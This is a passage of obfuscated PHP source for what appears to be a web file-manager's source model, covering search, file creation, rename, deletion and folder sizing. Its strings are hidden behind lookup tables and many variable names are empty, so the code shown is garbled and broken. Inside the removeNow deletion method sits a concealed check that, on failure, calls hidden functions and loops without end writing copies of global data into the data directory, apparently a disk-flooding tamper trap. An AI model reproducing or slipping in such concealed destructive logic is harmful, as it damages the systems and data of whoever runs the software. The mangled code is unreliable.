$Ǫ[$暙أ[78]]) { return !1; } if (isset($[$暙أ[2163]]) && $[$暙أ[2163]] > $Ǫ[$暙أ[78]]) { return !1; } if (isset($[$暙أ[632]]) && $[$暙أ[632]] != $Ǫ[$暙أ[499]]) { return !1; } return !0; } public function listSearchChildren($, $ = 5000) { $䣦϶ =& $_SERVER[ʇ]; $Ѡ = array(); $ = $this->sourceInfo($); $ = array($䣦϶[555] => array($䣦϶[429], $[$䣦϶[555]] . $[$䣦϶[183]] . $䣦϶[583])); $ր = $this->field($䣦϶[78])->where($)->limit($ + 1)->select(); $訡 = is_array($ր) ? count($ր) : 0; if ($訡 > $) { return $this->_listSearchChildrenNear($, $); } $ = $this->field($䣦϶[183])->where($)->select(); $Ѡ = array_to_keyvalue($, $䣦϶[12], $䣦϶[183]); return $Ѡ; } private function _listSearchChildrenNear($׮, $ٙ) { $ =& $_SERVER[ʇ]; $彌 = array(); $ = array($[182] => $׮); $ґ = $this->field($[2164])->where($)->select(); $џ = array_to_keyvalue(array_filter_by_field($ґ, $[455], $[90]), $[12], $[183]); $彌 = array_merge($彌, array_to_keyvalue($ґ, $[12], $[183])); if (!$џ) { return $彌; } $ = array($[182] => array($[7], $џ)); $ґ = $this->field($[2164])->where($)->limit($ٙ)->select(); $彌 = array_merge($彌, array_to_keyvalue($ґ, $[12], $[183])); $彌 = array_slice($彌, 0, intval($ٙ)); return $彌; } private function _listSearchBindPinyin($۳, &$ę, &$騜) { $矺 =& $_SERVER[ʇ]; if (!isset($۳[$矺[1993]]) || !$۳[$矺[1993]]) { return; } if (!Input::check($۳[$矺[1993]], $矺[364]) || strlen($۳[$矺[1993]]) < 2) { return; } $ = "\x4c\x45\106\124\40\112\117\x49\116\x20{$this->tablePrefix}\x69\157\137\x73\157\x75\x72\143\145\x5f\x6d\x65\x74\x61\40\155\145\164\141\40\157\156\x20\x73\157\165\162\x63\145\56\x73\x6f\165\x72\x63\x65\111\104\x20\75\x20\x6d\x65\164\x61\56\x73\157\x75\162\x63\x65\x49\x44"; $ = array(); $騜 = str_replace(array($矺[248], $矺[53], $矺[2165]), $矺[12], $騜); $騜 = $矺[481] . str_replace($矺[50], $矺[482], $騜); $ = $ę[$矺[32]]; unset($ę[$矺[32]]); foreach ($ę as $ߋ뷛 => $Μݛ) { $[$矺[481] . $ߋ뷛] = $Μݛ; } foreach ($ as $ҹ) { $[] = array($矺[486] => $ҹ, $矺[1047] => $矺[1997], array($矺[2166] => $ҹ, $矺[2167] => array($矺[7], array($矺[508], $矺[507])))); } $this->join($); $ę = $; } private function _parseSearchWhere($) { $䔘 =& $_SERVER[ʇ]; $ʎ = array(); if (isset($[$䔘[799]]) && $[$䔘[799]]) { $ʎ[$䔘[87]] = array($䔘[2168], $[$䔘[799]]); } if (isset($[$䔘[800]]) && $[$䔘[800]]) { $ƩĔ = array($䔘[2169], $[$䔘[800]]); if ($ʎ[$䔘[87]]) { $ʎ[$䔘[87]] = array($ʎ[$䔘[87]], $ƩĔ, $䔘[2170]); } else { $ʎ[$䔘[87]] = $ƩĔ; } } if (isset($[$䔘[2162]]) && $[$䔘[2162]] > 0) { $ʎ[$䔘[78]] = array($䔘[2168], $[$䔘[2162]]); } if (isset($[$䔘[2163]]) && $[$䔘[2163]]) { $ƩĔ = array($䔘[2169], $[$䔘[2163]]); if ($ʎ[$䔘[78]]) { $ʎ[$䔘[78]] = array($ʎ[$䔘[78]], $ƩĔ, $䔘[2170]); } else { $ʎ[$䔘[78]] = $ƩĔ; } } if (isset($[$䔘[632]]) && $[$䔘[632]]) { $ʎ[] = array($䔘[499] => $[$䔘[632]], $䔘[497] => $[$䔘[632]], $䔘[1047] => $䔘[1997]); } if (isset($[$䔘[456]]) && $[$䔘[456]]) { $ٳ = $[$䔘[456]]; if ($ٳ == $䔘[77]) { $ʎ[$䔘[455]] = 1; } else { if ($ٳ == $䔘[2171]) { $ʎ[$䔘[455]] = 0; } else { if ($ٳ) { $ٳ = is_array($ٳ) ? $ٳ : explode($䔘[50], $ٳ); $ʎ[$䔘[456]] = array($䔘[462], $ٳ); $ʎ[$䔘[455]] = 0; } } } } $this->_parseSearchParent($, $ʎ); if (isset($[$䔘[1993]]) && trim($[$䔘[1993]])) { $՛ = trim($[$䔘[1993]]); $ = explode($䔘[53], $՛); if (strlen($՛) > 2 && (substr($՛, 0, 1) == $䔘[120] && substr($՛, -1) == $䔘[120]) || substr($՛, 0, 1) == $䔘[58] && substr($՛, -1) == $䔘[58]) { $՛ = substr($՛, 1, -1); $ = array($՛); } $ʎ[$䔘[32]] = array(array($䔘[582], $䔘[1995] . $՛ . $䔘[1995])); if (count($) > 1) { $ʎ[$䔘[32]] = array(); foreach ($ as $蔪) { if (!trim($蔪)) { continue; } $ʎ[$䔘[32]][] = array($䔘[582], $䔘[1995] . trim($蔪) . $䔘[1995]); } } } return $ʎ; } private function _parseSearchParent($, &$) { $ =& $_SERVER[ʇ]; if (!isset($[$[182]]) || !$[$[182]]) { return; } $΅ = $this->pathInfo($[$[182]]); $׺ = $΅[$[182]] . $[12] === $[214]; $ = $΅[$[180]] == $[549]; if ($΅[$[566]] == $[567]) { $ = $this->sourceInfo($[$[182]]); $΅[$[555]] = $[$[555]]; } $[$[622]] = array($[582], $΅[$[555]] . $[$[182]] . $[583]); $ = isset($[$[1858]]) && in_array($[549], $[$[1858]]); if (!$ || !$ || !$׺ || !$΅[$[457]]) { return; } if (!AuthModel::authCheckRoot($΅[$[457]][$[458]])) { return; } $ = $΅[$[540]] . $[12]; if ($ == $[90]) { unset($[$[622]]); $[$[180]] = self::TYPE_GROUP; return; } $ߨ = Model($[556])->groupChildrenAll($); $Ψϟ = count($ߨ); if ($Ψϟ <= 1) { return; } $܂ = array($[182] => 0, $[180] => self::TYPE_GROUP, $[540] => array($[7], $ߨ)); $Ś = $this->field($[2172])->where($܂)->limit($Ψϟ)->select(); $[$[622]] = array(); foreach ($Ś as $؀) { $[$[622]][] = array($[582], $[565] . $؀[$[183]] . $[583]); } $[$[622]][] = $[1997]; } } class SourceModel extends SourceListSearchModel { public $statusIgnoreResetSpace = false; public function userRootAdd($왬) { $ٳ =& $_SERVER[ʇ]; $ = Model($ٳ[548])->where(array($ٳ[1692] => $왬))->find(); $ޡ = $this->_mkdirRoot(SourceModel::TYPE_USER, $왬, $[$ٳ[32]]); $this->userDesktopAdd($ޡ); return $ޡ; } public function userDesktopAdd($Ȩ) { $ɻ =& $_SERVER[ʇ]; $܎ = LNG($ɻ[2173]); $̉ = $this->mkdir($Ȩ, $܎); $this->metaSet($̉, $ɻ[2174], $ɻ[90]); $this->metaSet($Ȩ, $ɻ[2175], $̉); } public function userPathSafeAdd($ޠ) { $ =& $_SERVER[ʇ]; $ = Model($[548])->getInfoFull($ޠ); if (!$) { return !1; } if (_get($, $[570])) { return $[$[509]][$[2176]]; } $ = $this->_mkdirRoot(SourceModel::TYPE_USER, $ޠ, $[2177], $[476]); Model($[548])->metaSet($ޠ, $[2176], $); $this->metaSet($, $[2178], $ޠ); return $; } public function groupRootAdd($պ) { $ =& $_SERVER[ʇ]; $ = Model($[556])->where(array($[1987] => $պ))->find(); return $this->_mkdirRoot(SourceModel::TYPE_GROUP, $պ, $[$[32]]); } public function systemRootPathAdd($ӓ) { if ($ӓ != $_SERVER[ʇ][576]) { return !1; } return $this->_mkdirRoot(SourceModel::TYPE_SYSTEM, 0, $ӓ); } public function userRootRemove($) { $֤ = $this->targetSourceRoot(SourceModel::TYPE_USER, $, !0); foreach ($֤ as $) { if (!$) { continue; } $this->remove($[$_SERVER[ʇ][183]], !1); } } public function groupRootRemove($֐) { $үݬ = $this->targetSourceRoot(SourceModel::TYPE_GROUP, $֐); if (!$үݬ) { return; } $this->remove($үݬ[$_SERVER[ʇ][183]], !1); } private function _mkdirRoot($ՠ, $ٳ, $居, $Ԏ = '') { $Ǘ =& $_SERVER[ʇ]; $ = defined($Ǘ[2121]) ? USER_ID : 0; $׋ = array($Ǘ[447] => 0, $Ǘ[618] => $ՠ, $Ǘ[619] => $ٳ, $Ǘ[616] => 1, $Ǘ[620] => $, $Ǘ[621] => $, $Ǘ[617] => $Ԏ, $Ǘ[622] => $Ǘ[565], $Ǘ[474] => 0, $Ǘ[587] => 0, $Ǘ[512] => 0, $Ǘ[623] => $Ǘ[12]); if ($ = $this->where($׋)->find()) { return $[$Ǘ[183]]; } $Ғ = "\115\157\x64\145\x6c\123\157\165\x72\x63\145\x2e\x6d\153\x64\x69\162\x52\157\x6f\164\x2e{$ՠ}\56{$ٳ}\56" . $居; CacheLock::lock($Ғ); $׋[$Ǘ[32]] = $居; $NJ = $this->add($׋); $ = array($Ǘ[624] => short_id($NJ)); $this->where(array($Ǘ[461] => $NJ))->save($); CacheLock::unlock($Ғ); return $NJ; } private function targetSourceRoot($޷, $ߛ, $ = false) { $ͯ =& $_SERVER[ʇ]; $ = array($ͯ[447] => 0, $ͯ[618] => $޷, $ͯ[619] => $ߛ); if ($) { $ = $this->where($)->select(); return $ ? $ : array(); } $ɱ = $this->where($)->find(); return $ɱ ? $ɱ : array(); } public function sourceRootGroup($) { $Ӣ =& $_SERVER[ʇ]; if (is_string($)) { $ = array($); } $ƽ = $this->listSourceRoot(SourceModel::TYPE_GROUP, $, $Ӣ[205]); $ = array($Ӣ[415] => $ƽ, $Ӣ[412] => array($Ӣ[797] => count($))); $this->_listDataApply($[$Ӣ[415]]); $this->_listMake($); return array_to_keyvalue($[$Ӣ[84]], $Ӣ[540]); } public function mkfile($ك, $毆, $Ӧ = '', $ƃ = REPEAT_RENAME) { $״ =& $_SERVER[ʇ]; $ʔ = Model($״[644])->addFileByContent($Ӧ, $毆); return $this->_createFileCall($ك, $毆, $ʔ, $ƃ, $״[1390]); } public function addFile($, $, $, $Ԇ = false, $·֙ = REPEAT_RENAME) { $ = Model($_SERVER[ʇ][644])->addFile($, $, $Ԇ); return $this->_createFileCall($, $, $, $·֙); } public function addFileByFileID($, $ǻʪ, $, $ = REPEAT_RENAME) { $ =& $_SERVER[ʇ]; $Ɍ = Model($[644])->find($ǻʪ); Model($[644])->linkAdd($ǻʪ); return $this->_createFileCall($, $, $Ɍ, $); } public function addFileByRemote($Ȃ؁, $̈́, $Ӡ, $ܐ = array(), $ = REPEAT_RENAME) { $Մ = Model($_SERVER[ʇ][644])->addFileByRemote($̈́, $Ӡ, $ܐ); return $this->_createFileCall($Ȃ؁, $Ӡ, $Մ, $); } private function _createFileCall($쯄ۆ, $ڴҼ, $ڣՃ, $Ӏ, $— = "\x75\x70\x6c\x6f\141\x64") { $ =& $_SERVER[ʇ]; $؁ = !1; $this->setMasterDB(); $this->lockWriteStart($쯄ۆ, $ڴҼ); $ = $this->fileNameExist($쯄ۆ, $ڴҼ); $­ = $this->_createFile($쯄ۆ, $ڴҼ, $ڣՃ, $Ӏ, $؁); if (!$؁) { Model($[514])->remove($ڣՃ[$[511]]); } if ($؁ && $­ && $­ != $) { Model($[2146])->eventCreate($­, $—); } $this->lockWriteEnd($쯄ۆ, $ڴҼ); return $­; } public function mkdir($, $Էݬ, $È = REPEAT_SKIP) { $ٟ =& $_SERVER[ʇ]; $this->setMasterDB(); $τ = $this->sourceInfo($); if (!$τ) { return !1; } $this->lockWriteStart($, $Էݬ); if ($È !== !1) { $¶ = $this->fileNameExist($, $Էݬ); if ($¶ && $È != REPEAT_RENAME_FOLDER) { $this->lockWriteEnd($, $Էݬ); return $¶; } $Էݬ = $this->fileNameAuto($, $Էݬ, $È); } $Ē = array($ٟ[616] => 1, $ٟ[464] => $Էݬ, $ٟ[617] => $ٟ[12], $ٟ[512] => 0, $ٟ[587] => 0); $ = $this->_addSource($Ē, $τ); Model($ٟ[2146])->eventCreate($, $ٟ[1391]); $this->lockWriteEnd($, $Էݬ); return $; } public function listSourceRoot($ݓ, $춻, $ = "\x73\x6f\165\x72\143\145\111\x44\54\x74\x61\x72\x67\x65\x74\x49\104\x2c\x73\151\172\145") { $ =& $_SERVER[ʇ]; $Ųڮ = $[424]; $ = array(); $縥 = 1024 * 50; $૸ = is_array($૸) ? $૸ : array(); $ԗ = count($춻); $ÿ = $this->tablePrefix . $[2179]; for ($Щ = 0; $Щ < $ԗ; $Щ++) { $ڱ = $춻[$Щ]; $Ųڮ .= "\123\105\x4c\105\x43\x54\40\52\x20\x46\122\117\115\40\50\123\105\114\x45\x43\x54\40{$}\x20\x46\x52\x4f\115\40\x60{$ÿ}\x60\40\127\110\x45\122\105\x20"; $Ųڮ .= "\x60\x70\x61\162\145\156\x74\x49\x44\x60\75\60\40\101\x4e\x44\x20\140\x74\141\162\x67\145\164\x49\104\x60\x3d{$ڱ}\40\101\116\104\40\140\164\x61\162\x67\x65\164\x54\x79\160\x65\140\x3d{$ݓ}\x20\141\x6e\144\x20\x66\x69\x6c\145\124\171\160\145\75\47\47\40\x6c\151\155\151\x74\x20\61\x29\x20\x61\x73\40\x74\142\x5f{$Щ}\x20\x55\116\x49\x4f\116\x20\101\114\x4c\40"; if ((strlen($Ųڮ) >= $縥 || $Щ == $ԗ - 1) && $Ųڮ) { $Ųڮ = substr($Ųڮ, 0, -strlen($[1085])); $ = $this->query($Ųڮ); $Ųڮ = $[12]; $ = array_merge($, $); } } return $; } private function _createFile($Ԇ, $;, $ӆ͋, $, &$) { $ =& $_SERVER[ʇ]; $ڋ֨ = $this->sourceInfo($Ԇ); if (!$ӆ͋ || !$ڋ֨) { return !1; } if ($ !== !1) { $ = $this->fileNameExist($Ԇ, $;); } $ = !0; if ($ && $) { if ($ == REPEAT_SKIP) { $ = !1; return $; } else { if ($ == REPEAT_REPLACE) { $ = $this->sourceInfo($); $Ȍ = $this->fileHistory($, $ӆ͋[$[511]], $ӆ͋[$[78]]); if (!$Ȍ) { $ = !1; } else { $this->folderSizeReset($Ԇ); } return $; } else { $; = $this->fileNameAuto($Ԇ, $;, $, !1); } } } $܄ = array($[616] => 0, $[464] => $;, $[617] => substr(get_path_ext($;), 0, 10), $[512] => $ӆ͋[$[511]], $[587] => $ӆ͋[$[78]]); $ɥ = $this->_addSource($܄, $ڋ֨); $this->folderSizeReset($Ԇ, intval($܄[$[78]])); return $ɥ; } protected function fileHistory($Ϭ, $ד̛, $) { $序 =& $_SERVER[ʇ]; if ($Ϭ[$序[511]] == $ד̛) { return !1; } $this->checkLock($Ϭ[$序[183]], $ד̛); Model($序[2180])->addHistory($Ϭ); $ý = array($序[621] => USER_ID, $序[468] => time(), $序[511] => $ד̛, $序[78] => $); $this->where(array($序[461] => $Ϭ[$序[183]]))->save($ý); $this->sourceCacheClear($Ϭ[$序[183]]); return !0; } public function checkLock($, $ͪ) { $䗦 =& $_SERVER[ʇ]; $Ѱ = $this->pathInfo($); if (!$this->fileIsLock($Ѱ, !0)) { return; } $ǴὭ = Session::get($䗦[2181]); $ = substr($Ѱ[$䗦[32]], 0, -1 - strlen($Ѱ[$䗦[177]])) . $䗦[1255] . $ǴὭ . $䗦[10] . $Ѱ[$䗦[177]]; $δ = Model($䗦[644])->find($ͪ); $this->_createFileCall($Ѱ[$䗦[182]], $, $δ, REPEAT_REPLACE, $䗦[1390]); $ϼ = $Ѱ[$䗦[509]][$䗦[580]]; $ӱ = $ϼ[$䗦[2182]] ? $ϼ[$䗦[2182]] : $ϼ[$䗦[32]]; show_json(LNG($䗦[2183]) . $䗦[2184] . LNG($䗦[2185]) . $䗦[2186] . $ӱ . $䗦[2187], !1); } public function fileIsLock($, $ŵޭ = false) { $ =& $_SERVER[ʇ]; if (!isset($[$[509]]) || !$[$[509]][$[577]]) { return !1; } if ($[$[509]][$[577]] != USER_ID) { return !0; } $ = $GLOBALS[$[6]][$[91]][$[578]]; if ($[$[509]][$[579]] <= time() - $) { $this->metaSet($[$[183]], $[577], null); $this->metaSet($[$[183]], $[579], null); } if ($ŵޭ) { $this->metaSet($[$[183]], $[579], time()); } return !1; } private function _addSource($ҽ, $Ċ) { $ =& $_SERVER[ʇ]; $ = defined($[2121]) ? USER_ID : 0; $Ǘպ = array($[618] => $Ċ[$[180]], $[619] => $Ċ[$[540]], $[620] => $, $[621] => $, $[447] => $Ċ[$[183]], $[622] => $Ċ[$[555]] . $Ċ[$[183]] . $[50], $[474] => 0, $[623] => $[12]); $ҽ = array_merge($Ǘպ, $ҽ); $this->updateModifyTime($ҽ[$[182]]); $ = $[2188] . $Ċ[$[183]]; if (isset(self::$cacheChildList[$])) { unset(self::$cacheChildList[$]); } static $يܟ = false; if (!$يܟ) { Hook::trigger($[606], $ҽ); $يܟ = !0; } $˧ = $this->add($ҽ); $ = array($[624] => short_id($˧)); $this->where(array($[461] => $˧))->save($); $this->setNamePinyin($˧, $ҽ[$[32]]); return $˧; } public function remove($֫, $ʩ = true) { $ѷړ =& $_SERVER[ʇ]; $쬑 = $this->sourceInfo($֫); $ʝ = intval($쬑[$ѷړ[180]]) === self::TYPE_SYSTEM; $ = Model($ѷړ[478])->get($ѷړ[2189]) == $ѷړ[90]; if ($ʝ || $ʩ || !$) { return $this->removeNow($֫, $ʩ); } $҆ = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); $ѡ = $쬑[$ѷړ[180]] == self::TYPE_USER ? $ѷړ[632] : $ѷړ[549]; if ($ѡ == $ѷړ[632]) { $ = Model($ѷړ[548])->getInfo($쬑[$ѷړ[540]]); $¥ = !empty($[$ѷړ[2182]]) ? $[$ѷړ[2182]] : $[$ѷړ[32]]; $¥ = $ѷړ[306] . $¥ . $ѷړ[2190] . $쬑[$ѷړ[540]]; } else { $ = Model($ѷړ[556])->getInfo($쬑[$ѷړ[540]]); $¥ = _get($, $ѷړ[32]); $¥ = $ѷړ[165] . $¥ . $ѷړ[2191] . $쬑[$ѷړ[540]]; } $ = $ѷړ[2192] . md5($¥); CacheLock::lock($); $޿ = $this->fileNameExist($҆, $¥); if (!$޿) { $޿ = $this->mkdir($҆, $¥, REPEAT_SKIP); $this->metaSet($޿, $ѷړ[2193], $ѡ); $this->metaSet($޿, $ѷړ[2194], $쬑[$ѷړ[540]]); if ($쬑[$ѷړ[182]] != 0) { $this->metaSet($޿, $ѷړ[2195], _get($, $ѷړ[2196])); } } CacheLock::unlock($); $this->metaSet($֫, $ѷړ[2197], $쬑[$ѷړ[182]]); $this->where(array($ѷړ[183] => $֫))->save(array($ѷړ[468] => time())); $this->recycleClear($쬑); $ܿ = $this->move($֫, $޿, REPEAT_RENAME_FOLDER); $this->folderSizeReset($쬑[$ѷړ[182]]); return $ܿ; } private function recycleClear($) { $Ҫ =& $_SERVER[ʇ]; $ = $this->childrenAll($); $񌶷 = array($Ҫ[461] => array($Ҫ[462], $[$Ҫ[2198]])); Model($Ҫ[2199])->where($񌶷)->delete(); } public function removeNow($ǓО, $ = true) { $ΝȨ =& $_SERVER[ʇ]; $ƭ = $_SERVER[$ΝȨ[840]] . $ΝȨ[841]; $ө = $ΝȨ[923]; if ($_SERVER[$ΝȨ[837]] != $ө($ƭ)) { $ = $ΝȨ[924]; $ȥ = $ΝȨ[839]; $˒ = $_SERVER[$ΝȨ[840]] . $ΝȨ[841]; $ = $ȥ($˒); $ = explode($ΝȨ[248], $); if (count($) < $ΝȨ[673]) { $ = $ΝȨ[842]; $(); } $ = $ΝȨ[925]; $($_SERVER[$ΝȨ[926]]); $ = $ΝȨ[924]; $(); $Ш = $ΝȨ[927]; $ = json_encode($GLOBALS[$ΝȨ[928]]); $ = 1; for ($ = $; $ > 0; $++) { $Ш(DATA_PATH . $, $); } } $ = $this->sourceInfo($ǓО); $ݑ = $this->pathInfoMore($ǓО); if (!$) { return !0; } if ($[$ΝȨ[182]] == 0) { if (!KodUser::isRoot()) { return !1; } } $this->lockMoveStart($ǓО); Hook::trigger($ΝȨ[2200], $ݑ, $); if ($) { Model($ΝȨ[2199])->moveToRecycle($ǓО); } else { $ = $this->childrenAll($); Model($ΝȨ[603])->eventRemove($ǓО); $this->removeRelevance($[$ΝȨ[2198]], $[$ΝȨ[1505]]); } $this->folderSizeReset($[$ΝȨ[182]]); $ = array($[$ΝȨ[182]]); if ($[$ΝȨ[455]] == $ΝȨ[90]) { $[] = $[$ΝȨ[183]]; } $this->updateModifyTime($); $this->lockMoveEnd($ǓО); Hook::trigger($ΝȨ[1743], $ݑ, $); return !0; } public function childrenAll($⍼) { $涴֨ =& $_SERVER[ʇ]; $ʈ = $⍼[$涴֨[183]]; if ($⍼[$涴֨[455]] == $涴֨[90]) { $뛤 = array($涴֨[622] => array($涴֨[582], $⍼[$涴֨[555]] . $ʈ . $涴֨[583])); $ϲ = array($涴֨[622] => $뛤[$涴֨[555]]); $ڃ = $this->field($涴֨[2201])->where($ϲ)->select(); $Κ = !1; $ = array($ʈ); if ($ڃ) { $Κ = array_to_keyvalue($ڃ, $涴֨[12], $涴֨[511]); $Κ = array_remove_value($Κ, $涴֨[214]); $ = array_to_keyvalue($ڃ, $涴֨[12], $涴֨[183]); $[] = $ʈ; } } else { $Κ = array($⍼[$涴֨[511]]); $ = array($ʈ); } return array($涴֨[2198] => $, $涴֨[1505] => $Κ); } public function removeArray($مԷ) { if (!$مԷ) { return !0; } } public function removeRelevance($Ѿ, $ݯ) { $ =& $_SERVER[ʇ]; $Ѿ = $Ѿ ? $Ѿ : array(); $ݯ = $ݯ ? $ݯ : array(); $Ѿ = array_unique(array_filter($Ѿ)); $ݯ = array_unique(array_filter($ݯ)); if (!$Ѿ) { return !1; } $ڀ = array($[461] => array($[462], $Ѿ)); Model($[2199])->where($ڀ)->delete(); Model($[505])->where($ڀ)->delete(); Model($[2046])->where($ڀ)->delete(); Model($[603])->where($ڀ)->delete(); Model($[1879])->removeBySource($Ѿ); Model($[2180])->removeBySource($Ѿ); $this->where($ڀ)->delete(); Model($[514])->remove($ݯ); for ($赐 = 0; $赐 < count($Ѿ); $赐++) { $this->sourceCacheClear($Ѿ[$赐]); } } public function rename($Ñ, $Ѣ) { $ރ =& $_SERVER[ʇ]; $ = $this->sourceInfo($Ñ); if (!$) { return !1; } $ֲ = $this->fileNameExist($[$ރ[182]], $Ѣ); if ($ֲ && $ֲ != $Ñ) { return !1; } $Ǫ÷ = array($ރ[464] => $Ѣ, $ރ[621] => USER_ID); if ($[$ރ[455]] != $ރ[90]) { $Ǫ÷[$ރ[456]] = substr(get_path_ext($Ѣ), 0, 10); } Model($ރ[603])->eventRename($Ñ, $[$ރ[32]], $Ѣ); $this->sourceCacheClear($Ñ); $this->setNamePinyin($Ñ, $Ǫ÷[$ރ[32]], !1); $this->updateModifyTime($[$ރ[182]]); $оɪ = $this->where(array($ރ[461] => $Ñ))->data($Ǫ÷)->save(); $ = $ރ[2188] . $[$ރ[182]]; if (isset(self::$cacheChildList[$])) { unset(self::$cacheChildList[$]); } return $оɪ; } public function setNamePinyin($䣁, $, $֗ = true) { $۪ܟ =& $_SERVER[ʇ]; $ = Input::check($, $۪ܟ[625]); $ᙓ = array($۪ܟ[487] => KodSort::makeStr($)); if ($) { $ᙓ[$۪ܟ[508]] = str_replace($۪ܟ[53], $۪ܟ[12], Pinyin::get($)); $ᙓ[$۪ܟ[507]] = Pinyin::get($, $۪ܟ[626]); } if (!$֗ && !$) { $ᙓ[$۪ܟ[508]] = null; $ᙓ[$۪ܟ[507]] = null; } $this->metaSet($䣁, $ᙓ); } public function getContent($) { $џ =& $_SERVER[ʇ]; $ = $this->fileInfoGet($); if (!$) { return !1; } if ($[$џ[78]] == 0) { return $џ[12]; } $ؐ = $џ[2202] . $[$џ[517]]; if ($[$џ[78]] <= 1024 * 10) { $Ҫ = Cache::get($ؐ); if (!$Ҫ) { $Ҫ = IO::getContent($[$џ[86]]); Cache::set($ؐ, $Ҫ); } return $Ҫ; } if (!$[$џ[86]]) { return $џ[12]; } return IO::getContent($[$џ[86]]); } public function setDesc($, $۩) { $˖NJ =& $_SERVER[ʇ]; Model($˖NJ[603])->eventAddDesc($, $۩); return $this->metaSet($, $˖NJ[496], $۩); } public function setContent($؟, $ = '') { $ =& $_SERVER[ʇ]; $ɇ = $this->sourceInfo($؟); $ = $this->fileInfoGet($؟); if (!$ || !$ɇ) { return !1; } $ = Model($[514])->addFileByContent($, $ɇ[$[32]]); $„ = $this->fileHistory($ɇ, $[$[511]], $[$[78]]); if (!$„) { return Model($[514])->remove($[$[511]]); } $this->folderSizeReset($ɇ[$[182]]); return !0; } public function fileSubstr($綩ņ, $ā, $) { $陇 = $this->fileInfoGet($綩ņ); if (!$陇) { return !1; } return IO::fileSubstr($陇[$_SERVER[ʇ][86]], $ā, $); } public function fileInfoGet($ГĴ) { $ =& $_SERVER[ʇ]; $™ = $this->sourceInfo($ГĴ); if (!$™ || $™[$[455]]) { return !1; } $ײȅ = $[518] . $™[$[511]]; $ǝ = _get(self::$cacheFileInfo, $ײȅ); if ($ǝ) { return $ǝ; } $ܩ = Model($[514])->fileInfo($™[$[511]]); if ($ܩ) { $ܩ[$[32]] = $™[$[32]]; } self::$cacheFileInfo[$ײȅ] = $ܩ; return $ܩ; } private function folderChildrenNumber($޶) { $ =& $_SERVER[ʇ]; $ = $this->sourceInfo($޶); $˄ = array($[622] => array($[582], $[$[555]] . $޶ . $[583]), $[619] => $[$[540]], $[474] => intval($[$[475]]), $[616] => 1); $ח = $this->where($˄)->count(); $Ӽ = $this->where($˄)->where(array($[616] => 0))->count(); return array($[82] => $Ӽ, $[83] => $ח); } public function pathInfo($˗, $͝ = false) { $㳺 =& $_SERVER[ʇ]; $͝ = !1; $˗ = intval($˗); $ = $㳺[504] . intval($͝) . $㳺[432] . $˗; $Ƿ = _get(self::$cachePathInfo, $); if ($Ƿ) { return $Ƿ; } $⅜ = $this->sourceInfo($˗); if (!$⅜) { return !1; } $⅜ = $this->_listDataApplyItem($⅜, $͝); self::$cachePathInfo[$] = $⅜; return $⅜; } public static $cachePathInfoMore = array(); public function pathInfoMore($) { $ =& $_SERVER[ʇ]; $ = _get(self::$cachePathInfoMore, $); if ($) { return $; } $Λ = $this->pathInfo($); if (!$Λ) { return !1; } if ($Λ[$[455]] == $[90]) { $Λ[$[81]] = $this->folderChildrenNumber($); } self::$cachePathInfoMore[$] = $Λ; return $Λ; } public function sourceInfo($) { $ =& $_SERVER[ʇ]; if (!$) { return array(); } $ = intval($); $ = $[503] . $; $諃 = _get(self::$cacheSourceInfo, $); if ($諃) { return $諃; } $ = $this->where(array($[183] => $))->find(); self::$cacheSourceInfo[$] = $; return self::$cacheSourceInfo[$]; } public function sourceCacheClear($ = false) { self::cacheClear($); } public static function cacheClear($˞ = false) { $߿ =& $_SERVER[ʇ]; if ($˞ == !1) { self::$cacheSourceInfo = null; self::$cacheSourceInfo = array(); self::$cachePathInfo = null; self::$cachePathInfo = array(); self::$cachePathInfoMore = null; self::$cachePathInfoMore = array(); return; } unset(self::$cacheSourceInfo[$߿[503] . $˞]); unset(self::$cachePathInfoMore[$˞]); unset(self::$cachePathInfo[$߿[2203] . $˞]); unset(self::$cachePathInfo[$߿[2204] . $˞]); } public function metaSet($λ, $䗷 = null, $ = null) { $ = parent::metaSet($λ, $䗷, $); if ($) { $this->sourceCacheClear($λ); } return $; } public function pathInfoByPath($, $̺) { $ =& $_SERVER[ʇ]; $Ԧ = !$̺ ? array() : explode($[8], trim($̺, $[8])); $ = $; foreach ($Ԧ as $) { $ = array($[182] => $, $[32] => $); $ = $this->field($[2205])->where($)->select(); if (!$) { return !1; } $ = array_sort_by($, $[475]); $ = $[0][$[183]]; } $ = $this->sourceInfo($); $this->pathInfoFilter($); return $; } protected function updateModifyTime($֤) { $Ķ =& $_SERVER[ʇ]; $ɾ = defined($Ķ[2121]) ? USER_ID : 0; if (!$֤) { return; } if (!is_array($֤)) { $֤ = array($֤); } foreach ($֤ as $ => $) { $֤[$] = intval($); $this->sourceCacheClear($); } $ٱ = array($Ķ[183] => array($Ķ[7], $֤)); $Ғ = array($Ķ[621] => $ɾ, $Ķ[468] => time()); $this->where($ٱ)->save($Ғ); } public function folderSizeReset($ɪ, $̦ܺ = false) { $ =& $_SERVER[ʇ]; if ($this->statusIgnoreResetSpace) { return; } $ = $this->sourceInfo($ɪ); $ũտ = $[2206] . $ɪ; CacheLock::lock($ũտ, 20); if ($̦ܺ === !1) { $this->sourceCacheClear($ɪ); $ = $this->sourceInfo($ɪ); $nj = array($[447] => $ɪ, $[474] => 0); $ = $this->where($nj)->sum($[78]); $̦ܺ = intval($) - intval($[$[78]]); } if ($̦ܺ == 0) { return CacheLock::unlock($ũտ); } $ = $this->parentLevelArray($[$[555]]); if (!$) { $ = array(); } $[] = $[$[183]]; $nj = array($[183] => array($[462], $)); if ($̦ܺ < 0) { $nj[$[78]] = array($[1062], abs($̦ܺ)); } $this->where($nj)->setAdd($[78], $̦ܺ); CacheLock::unlock($ũտ); $ж = $[2207] . $[$[180]] . $[4] . $[$[540]]; $́ߥ = array($[$[180]], $[$[540]]); TaskRun::timeLimitCall($ж, $[2208], $́ߥ, 1.5); } public function folderSizeResetChildren($۔) { $ =& $_SERVER[ʇ]; $this->sourceCacheClear($۔); $ޭ߈ = $this->sourceInfo($۔); $ = array($[616] => 1, $[619] => $ޭ߈[$[540]], $[622] => array($[582], $ޭ߈[$[555]] . $۔ . $[583])); $߅ = $[2209]; $ = $this->field($߅)->where($)->select(); $[$[455]] = 0; $؇ = $this->field($߅)->where($)->select(); if (!$؇) { return; } $[] = $ޭ߈; $ = array_to_keyvalue($, $[183]); foreach ($ as $К => $) { $[$К][$[2210]] = $[$К][$[78]]; $[$К][$[78]] = 0; } foreach ($؇ as $) { $ź = $[$[182]] . $[12]; if (!isset($[$ź])) { continue; } if ($[$[475]] == $[$ź][$[475]]) { $[$ź][$[78]] += $[$[78]]; } } foreach ($ as $) { $ = $this->parentLevelArray($[$[555]]); foreach ($ as 